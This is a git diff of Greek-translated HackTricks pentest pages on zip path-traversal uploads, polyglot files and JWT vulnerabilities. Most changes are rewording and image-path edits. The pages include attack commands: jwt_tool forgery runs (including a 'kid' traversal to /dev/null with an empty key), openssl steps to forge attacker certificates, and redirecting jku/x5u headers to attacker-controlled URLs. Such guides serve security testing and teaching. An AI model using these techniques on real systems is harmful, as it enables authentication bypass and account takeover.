Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης τροποποιώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
|
||||
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc στο GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
```python
|
||||
|
@ -314,9 +314,9 @@ pop graphic-context
|
|||
|
||||
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
|
||||
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||
|
||||
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική δυαδικότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
|
||||
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
|
||||
|
||||
Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,15 +329,15 @@ pop graphic-context
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εάν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# JWT Vulnerabilities (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
|
||||
|
@ -36,7 +36,7 @@ python3 jwt_tool.py -M at \
|
|||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool:
|
||||
Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για εκείνο το αίτημα χρησιμοποιώντας το jwt\_ tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -50,9 +50,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται:
|
||||
|
||||
* Ένα μήνυμα σφάλματος υποδηλώνει συνεχιζόμενο έλεγχο; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν.
|
||||
* Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης έλεγχο.
|
||||
* Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει έλεγχος; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload.
|
||||
* Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν.
|
||||
* Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση.
|
||||
* Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload.
|
||||
|
||||
### Προέλευση
|
||||
|
||||
|
@ -73,9 +73,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής.
|
||||
|
||||
Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να ορίσετε την τιμή του πεδίου "Alg" σε "None").
|
||||
Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να βάλετε την τιμή του πεδίου "Alg" σε "None").
|
||||
|
||||
### Αλλαγή του αλγορίθμου RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Αλλαγή του αλγορίθμου RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\
|
||||
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση.
|
||||
|
@ -89,18 +89,18 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
```
|
||||
### Νέο δημόσιο κλειδί μέσα στην κεφαλίδα
|
||||
|
||||
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του διακριτικού και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).
|
||||
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του token και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).
|
||||
|
||||
Αυτό μπορεί να γίνει με την επέκταση "JSON Web Tokens" του Burp.\
|
||||
(Στείλτε το αίτημα στον Επαναλήπτη, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).
|
||||
(Στείλτε το αίτημα στον Repeater, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT διακριτικών, ιδιαίτερα αυτών που χρησιμοποιούν μια αξίωση κεφαλίδας "jku". Αυτή η αξίωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του διακριτικού.
|
||||
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT tokens, ιδιαίτερα αυτών που χρησιμοποιούν μια δήλωση κεφαλίδας "jku". Αυτή η δήλωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του token.
|
||||
|
||||
* **Αξιολόγηση Διακριτικών με Κεφαλίδα "jku"**:
|
||||
* Επαληθεύστε το URL της αξίωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
|
||||
* Τροποποιήστε την τιμή "jku" του διακριτικού για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης.
|
||||
* **Αξιολόγηση Tokens με "jku" Κεφαλίδα**:
|
||||
* Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
|
||||
* Τροποποιήστε την τιμή "jku" του token για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης.
|
||||
* **Παρακολούθηση για HTTP Αλληλεπίδραση**:
|
||||
* Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο.
|
||||
* Όταν χρησιμοποιείτε το `jwt_tool` για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείο `jwtconf.ini` με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή.
|
||||
|
@ -113,15 +113,15 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Επισκόπηση Θεμάτων Kid
|
||||
|
||||
Μια προαιρετική αξίωση κεφαλίδας γνωστή ως `kid` χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής διακριτικών. Αυτή η αξίωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός διακριτικού.
|
||||
Μια προαιρετική δήλωση κεφαλίδας γνωστή ως `kid` χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής token. Αυτή η δήλωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός token.
|
||||
|
||||
#### Αποκάλυψη Κλειδιού μέσω "kid"
|
||||
|
||||
Όταν η αξίωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου.
|
||||
Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, εάν καθορίζεται `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου.
|
||||
|
||||
#### Διαδρομή Πλοήγησης με "kid"
|
||||
|
||||
Η αξίωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω:
|
||||
Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -169,9 +169,9 @@ print("e:", hex(key.e))
|
|||
|
||||
X.509 URL. Μια URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών.
|
||||
|
||||
Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**.
|
||||
Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί κάποια αίτηση. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**.
|
||||
|
||||
Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
|
||||
Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξαγάγετε τα δημόσια και ιδιωτικά κλειδιά:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
|
@ -193,7 +193,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Ενσωματωμένο Δημόσιο Κλειδί (CVE-2018-0114)
|
||||
### Embedded Public Key (CVE-2018-0114)
|
||||
|
||||
Αν το JWT έχει ενσωματωμένο ένα δημόσιο κλειδί όπως στο παρακάτω σενάριο:
|
||||
|
||||
|
@ -209,7 +209,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο διακριτικό και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή:
|
||||
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο token και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -236,7 +236,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
### JTI (JWT ID)
|
||||
|
||||
Η αξίωση JTI (JWT ID) παρέχει έναν μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτραπεί η επανάληψη του token.\
|
||||
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, αν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να **επανεκτελέσετε μια αίτηση** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
|
||||
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να **επανεκτελέσετε μια αίτηση** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
|
||||
|
||||
### JWT Καταχωρημένες αξιώσεις
|
||||
|
||||
|
@ -244,15 +244,15 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
### Άλλες επιθέσεις
|
||||
|
||||
**Επιθέσεις Διασυνοριακής Υπηρεσίας**
|
||||
**Επιθέσεις Διασύνδεσης Υπηρεσιών**
|
||||
|
||||
Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε έναν άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια να επαναληφθεί το αποκτηθέν token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.
|
||||
Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.
|
||||
|
||||
* Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή.
|
||||
|
||||
**Έλεγχος Λήξης των Tokens**
|
||||
**Έλεγχος Λήξης Tokens**
|
||||
|
||||
Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι χρονικοί περιορισμοί δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.
|
||||
Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονοσήμανσης και του ελέγχου λήξης (χρονοσήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.
|
||||
|
||||
* Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει.
|
||||
|
||||
|
@ -260,15 +260,15 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Εάν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
|
||||
